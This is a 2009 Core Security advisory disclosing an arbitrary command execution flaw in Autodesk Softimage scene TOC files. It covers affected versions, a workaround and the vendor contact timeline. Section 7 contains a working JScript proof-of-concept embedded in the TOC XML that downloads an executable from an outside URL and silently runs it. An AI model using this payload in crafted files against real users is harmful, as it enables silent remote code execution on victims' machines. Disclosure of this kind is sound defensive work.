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      Core Security Technologies - CoreLabs Advisory
           http://www.coresecurity.com/corelabs/

Autodesk SoftImage Scene TOC Arbitrary Command Execution



1. *Advisory Information*

Title: Autodesk SoftImage Scene TOC Arbitrary Command Execution
Advisory Id: CORE-2009-0908
Advisory URL:
http://www.coresecurity.com/content/softimage-arbitrary-command-execution
Date published: 2009-11-23
Date of last update: 2009-11-20
Vendors contacted: Autodesk
Release mode: User release



2. *Vulnerability Information*

Class: Failure to Sanitize Data into a Different Plane [CWE-74]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 36637
CVE Name: CVE-2009-3576



3. *Vulnerability Description*

Autodesk Softimage [2] is a 3D computer graphics application for
producing 3D computer graphics, 3D modeling, and computer animation.
Autodesk Softimage by default saves a .scntoc file along with the
scene content tree. The scene TOC (scene table of contents) is an
XML-based file that contains scene information. When you open a scene
file, Softimage looks for a corresponding scene TOC file and
automatically reads and applies the information it contains. Scene TOC
XML files can be modified to execute arbitrary commands without user
intervention by design. An attacker can take full control of the
machine where SoftImage is installed by sending a specially crafted
scene package and enticing the user to open it.


4. *Vulnerable packages*

   . Autodesk Softimage 7.x
   . Autodesk Softimage XSI 6.x


5. *Vendor Information, Solutions and Workarounds*

The vendor did not provide fixes or workaround information.

You can disable the default reading of SCTOC script by following these
steps:

   . Go to File > Preferences > Data Management > Files tab
   . Uncheck "Read scene TOC (Table of Contents) file on load".


6. *Credits*

This vulnerability was discovered and researched by Diego Juarez,
Fernando Arnaboldi and Federico Charosky from Core Security
Technologies during Bugweek 2009 [1].

The publication of this advisory was coordinated by Fernando Russ from
Core Security Advisories Team.


7. *Technical Description / Proof of Concept Code*

Autodesk Softimage by default saves a .scntoc file along with the
scene content tree. The scene TOC (scene table of contents) is an
XML-based file that contains scene information. When you open a scene
file, Softimage looks for a corresponding scene TOC file and
automatically reads and applies the information it contains. One of
the "benefits" of the TOC file is that you can edit it to run a script
automatically after loading a scene without user intervention by default.

As Proof of Concept we created a new project in Softimage, added some
geometry, and saved it. Sure enough, along the .scn a .scntoc was
created. We then proceeded to modify the XML like this:

/-----
      <PostLoadScript>
      <Language>JScript</Language>
      <Function></Function>
      <Script_Content>
    <![cdata[
var s=new ActiveXObject('WScript.Shell');
var o=new ActiveXObject('ADODB.Stream');
var e=s.Environment('Process');
var u='http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe';
var b=e.Item('TEMP')+'agent.exe';
var x=new ActiveXObject('Microsoft.XMLHTTP');
//x=new ActiveXObject('MSXML2.ServerXMLHTTP');
if(!x)
    exit(0);
x.open('GET',u,0);
x.send(null);
o.Type=1;
o.Mode=3;
o.Open();
o.Write(x.responseBody);
o.SaveToFile(b,2);
s.Run(b,0);
    ]] >
  </Script_Content>
  </PostLoadScript>

- -----/



8. *Report Timeline*

. 2009-08-25:
Core Security Technologies ask the Autodesk Assistance Team for a
security contact to report the vulnerability.

. 2009-09-22:
Core asks the Autodesk Assistance Team for a security contact to
report the vulnerability.

. 2009-10-09:
Core contacts CERT to obtain security contact information for Autodesk.

. 2009-10-16:
CERT acknowledges the communication.

. 2009-10-19:
CERT sends their available contact information for Autodesk.

. 2009-10-19:
Core notifies Autodesk of the vulnerabilty report and announces its
initial plan to publish the content on November 2nd, 2009. Core
requests an acknoledgement within two working days and asks whehter
the details should be sent encrypted or in plaintext.

. 2009-10-19:
Autodesk acknowledges the report and requests the information to be
provided in encrypted form.

. 2009-10-20:
Core sends draft advisory and steps to reproduce the issue.

. 2009-10-27:
Core asks Autodesk about the status of the vulnerability report sent
on October 20th, 2009.

. 2009-10-27:
Autodesk acknowledges the communication indicating that the pertinent
Product Managers have been informed and are formulating a response.

. 2009-11-06:
Core notifies Autodesk about the missed deadline of November 2nd, 2009
and reuqests an status update. Publication of CORE-2009-0908 is
re-scheduled to November 16th, 2009 and is subject to change based on
concrete feedback from Autodesk.

. 2009-11-23:
Given the lack of response from Autodesk, Core decides to publish the
advisory CORE-2009-0908 as "user release".



9. *References*

[1] The authors participated in Core Bugweek 2009 as members of the
team "Gimbal Lock N Load".
[2]
http://usa.autodesk.com/adsk/servlet/pc/index?siteID=123112&id=13571168


10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is
charged with anticipating the future needs and requirements for
information security technologies. We conduct our research in several
important areas of computer security including system vulnerabilities,
cyber attack planning and simulation, source code auditing, and
cryptography. Our results include problem formalization,
identification of vulnerabilities, novel solutions and prototypes for
new technologies. CoreLabs regularly publishes security advisories,
technical papers, project information and shared software tools for
public use at: http://www.coresecurity.com/corelabs.


11. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources
are exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and
software security auditing. Based in Boston, MA and Buenos Aires,
Argentina, Core Security Technologies can be reached at 617-399-6980
or on the Web at http://www.coresecurity.com.


12. *Disclaimer*

The contents of this advisory are copyright (c) 2009 Core Security
Technologies and (c) 2009 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper
credit is given.


13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.


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